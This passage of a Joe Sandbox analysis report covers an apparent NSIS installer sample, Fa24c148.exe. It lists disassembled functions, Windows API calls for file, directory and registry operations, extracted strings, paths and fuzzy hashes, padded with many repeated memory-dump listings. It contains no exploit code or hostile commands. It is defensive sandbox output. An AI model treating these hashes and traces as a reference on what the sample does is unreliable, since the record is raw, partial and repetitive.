Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: b121bc2ed9969a9fb6c21bfc6921f06f0261ed8b33c3b4db69171897c6bfb89c
Instruction ID: d7c36ab4ba1e77d3c514d2e075e7bf05f8385f4f0eed445bed2eaaef7d4a98f3
Opcode Fuzzy Hash: b121bc2ed9969a9fb6c21bfc6921f06f0261ed8b33c3b4db69171897c6bfb89c
Instruction Fuzzy Hash: 71C1AE71A04205ABEB216F61ED45D3B7A7CFB49306F40053EF501B11E1CB79A952DB2E

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D7A
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Fa24c148.exe,00000400,?,?,?,00000000,00403425,?), ref: 00402D96

Part of subcall function 004059E3: GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\Fa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
Part of subcall function 004059E3: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Fa24c148.exe,C:\Users\user\Desktop\Fa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00402DE2

Strings

soft, xrefs: 00402E57
P~A, xrefs: 00402DF7
"C:\Users\user\Desktop\Fa24c148.exe", xrefs: 00402D6F
Error launching installer, xrefs: 00402DB9
Inst, xrefs: 00402E4E
C:\Users\user\Desktop\Fa24c148.exe, xrefs: 00402D80, 00402D8F, 00402DA3, 00402DC3
Null, xrefs: 00402E60
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402F41
C:\Users\user\Desktop, xrefs: 00402DC4, 00402DC9, 00402DCF
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D73

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Fa24c148.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Fa24c148.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$P~A$soft
API String ID: 4283519449-3654684238
Opcode ID: deaa8614282d3ada7b3d30178f8022547566b7f059afc153b6d9a88955226618
Instruction ID: 9a0bc50dc50940ee2abb7c3ced767a556554b68a68c4a60a299fb88064fb1f26
Opcode Fuzzy Hash: deaa8614282d3ada7b3d30178f8022547566b7f059afc153b6d9a88955226618
Instruction Fuzzy Hash: 88512871900205ABDB209F65DE89BAF7BB8EB14358F10403BF904B62D1C7B88D418BAD

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Program Files (x86)\shaw,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Program Files (x86)\shaw,?,?,00000031), ref: 004017B8

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 00405021: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll, xrefs: 00401818, 00401834
C:\Users\user\AppData\Local\Temp\nslCCA0.tmp, xrefs: 00401804, 00401822
C:\Program Files (x86)\shaw, xrefs: 00401781
Call, xrefs: 00401770, 00401779, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Program Files (x86)\shaw$C:\Users\user\AppData\Local\Temp\nslCCA0.tmp$C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll$Call
API String ID: 1941528284-534856240
Opcode ID: 69be8e2269a1f7a821158fec15adda67e81a6c57227f726c0035925acb367b04
Instruction ID: f5340c52137ac8e05323c68babe13c17cc5cde59bf11d192bd930834dcc8acac
Opcode Fuzzy Hash: 69be8e2269a1f7a821158fec15adda67e81a6c57227f726c0035925acb367b04
Instruction Fuzzy Hash: C6419071900908BACF11BBB5CC46DAF7679EF05368F20863BF425B11E1D73C8A419A6E

Function 00405021 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
lstrlenW.KERNEL32(004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,004030DB,004030DB,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,00000000,0040FE48,00000000), ref: 0040507C
SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll), ref: 0040508E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll, xrefs: 00405042, 00405052, 00405058, 0040507B, 00405087

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp\System.dll
API String ID: 2531174081-4017345425
Opcode ID: be2a794c2a3455270d4b05c7547fa0c48c28aa5b6759893b99f6518c6e473265
Instruction ID: 72d3c87754a4f2576c1daf3770cdfe6bbb79a9fd4797c08dd841ae8e1e27fedc
Opcode Fuzzy Hash: be2a794c2a3455270d4b05c7547fa0c48c28aa5b6759893b99f6518c6e473265
Instruction Fuzzy Hash: AE219D71900518BBCB219F95DD84ADFBFB9EF45350F14807AF904B62A0C3798A41CFA8

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403003
GetTickCount.KERNEL32 ref: 00403084
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004030B1
wsprintfW.USER32 ref: 004030C4
WriteFile.KERNELBASE(00000000,00000000,0040FE48,7FFFFFFF,00000000), ref: 004030F3

Strings

... %d%%, xrefs: 004030BE

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction ID: 2f3b8c8ab01821edfbb7561a0937ed23110cd7788458c70898d592dcb6d42ddc
Opcode Fuzzy Hash: 13d77005233b2c703e88a738dcd56f5575194dca18d803a30cab386bf45fddca
Instruction Fuzzy Hash: 8A516D31900219ABCF10DF65D944AAF7BACAF48756F10413BE910BB2C0D7389E51CBA9

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Strings

C:\Users\user\AppData\Local\Temp\nslCCA0.tmp, xrefs: 00402380, 0040238E, 004023A5, 004023B5, 004023C0

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nslCCA0.tmp
API String ID: 1356686001-1440026347
Opcode ID: 60d0e40a1802c79bda5c7497f46e73a45a695d690e5e4760ff09b179a2f47946
Instruction ID: ff9c26e96d548ba14907c7cf0d775baaea3cd420635c28ab46d49cad89ffe0f3
Opcode Fuzzy Hash: 60d0e40a1802c79bda5c7497f46e73a45a695d690e5e4760ff09b179a2f47946
Instruction Fuzzy Hash: 311181B1A00108BEEB10AFA4DD49EAF777CEB50358F10443AF905B61D0D7B85D409A29

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040586D: CharNextW.USER32(?,?,C:\,?,004058E1,C:\,C:\,?,?,74DF3420,0040561F,?,C:\Users\user\AppData\Local\Temp\,74DF3420,"C:\Users\user\Desktop\Fa24c148.exe"), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Program Files (x86)\shaw,?,00000000,000000F0), ref: 00401630

Strings

C:\Program Files (x86)\shaw, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Program Files (x86)\shaw
API String ID: 3751793516-209812835
Opcode ID: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction ID: f9b53a9290970587256920563605d3a8fa34613ebd87cabe797d0c7397107685
Opcode Fuzzy Hash: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction Fuzzy Hash: 9711C631904104EBCF206FA0DD449AE76B1EF14369F34493BF881B61E1D63D49419A5D

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
